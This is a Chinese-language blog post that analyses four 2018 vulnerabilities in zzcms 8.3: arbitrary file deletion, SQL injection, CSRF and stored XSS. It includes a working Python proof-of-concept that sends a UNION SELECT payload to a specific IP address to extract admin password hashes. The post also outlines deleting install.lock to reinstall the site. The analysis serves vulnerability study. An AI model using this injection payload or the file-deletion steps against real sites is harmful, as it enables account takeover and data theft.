上次我们分析了一下zzcms 8.2版本的一些漏洞,但是很快8.3版本就推出更新了,但是在更新不久,就有新的漏洞爆了出来,那就跟随大师傅们的脚步学习一下。有关8.2版本的分析在我之前发的文章。
zzcms 的全局过滤
首先系统也使用了伪全局变量的设置,我们找到了关键的代码:/inc/stopsqlin.php
可以看到所有的代码在默认传进来的时候,会被addslashes转义,所以如果有单引号包围是不存在sql注入的,但是这里也容易出现问题,如果是数字型没有严密验证,或者是表名等等位置,不需要单引号闭合的位置都是很危险的,上一篇的很多的问题就是这里疏忽产生的。
CVE-2018-13056
简单看一下漏洞说明,又是一个任意文件删除漏洞,我们在之前的文章总结中就说过了整个系统在文件处理上是很明显有问题的,那我们就来分析一下这次的问题:
漏洞点出现在 /user/del.php 的55行到64行
那我们就可以去找一下这个字段是怎么进入数据库的:
zzcms_main表,然后找一下insert或者update操作,然后我们在/user/zssave.php中发现了有关操作。
$img并没有经过任何有效过滤。
/install/install.lock:
然后就可以到/user/del.php中去删除文件,这样就能触发删除操作。
但是这里有一个问题,就是删除的时候需要知道这一条记录在数据库中的id编号,可以采用爆破的方法来得到。

CVE-2018-14961
一个前台的sql注入漏洞,发现又是使用了stripfxg这个函数解除了自己的过滤,但是其实这里即使没有引号,也是可以直接注入的,下面详细分析一下:
代码出现问题是在:/dl/dl_sendmail.php 的 42到45行
简单整理一下逻辑就是:
#!/usr/bin/env python
#Author:Sublime
#coding:utf-8
import requests as req
url = "http://115.159.122.222:8080/dl/dl_sendmail.php"
cookies = {'UserName':'test','PassWord':'81dc9bdb52d04dc20036dbd8313ed055'}
data = { 'sql':'select email from zzcms_dl where id=-1 union select pass from zzcms_admin #'}
q = req.post(url,data,cookies=cookies,allow_redirects=False)
print q.status_code
print q.content
测试结果为:
CVE-2018-14963
csrf漏洞,这个问题也是从上个版本就存在的问题,就是整个管理员后台的,所有表单都是没有设置csrf的token的,所以只要涉及到敏感操作的表单,都可以使用csrf来攻击,达成很多攻击利用。
这里的攻击是产生在了/admin/adminadd.php的添加管理员操作,构造的表单如下:
未添加管理员之前:
发现可以成功达到添加管理员的目的。
CVE-2018-14962
一个存储型xss,最底层的原因还是因为调用了stripfxg函数,消除了自己的过滤,然后在输出的时候,导致了xss漏洞。

然后我们来测试一下:

其实感觉这种漏洞还是普遍存在于这个系统中的,可以顺着这个危险的函数stripfxg入手,逐个分析,估计还是有不少漏网之鱼。
后记
虽然zzcms更新了版本,但是看到很多安全问题并没有从底层去解决,有的只是暂时性的修补了一下,这样其实是不太可取的,底层的问题存在,只要在找到另外一条可以利用的通路就一样可以利用。



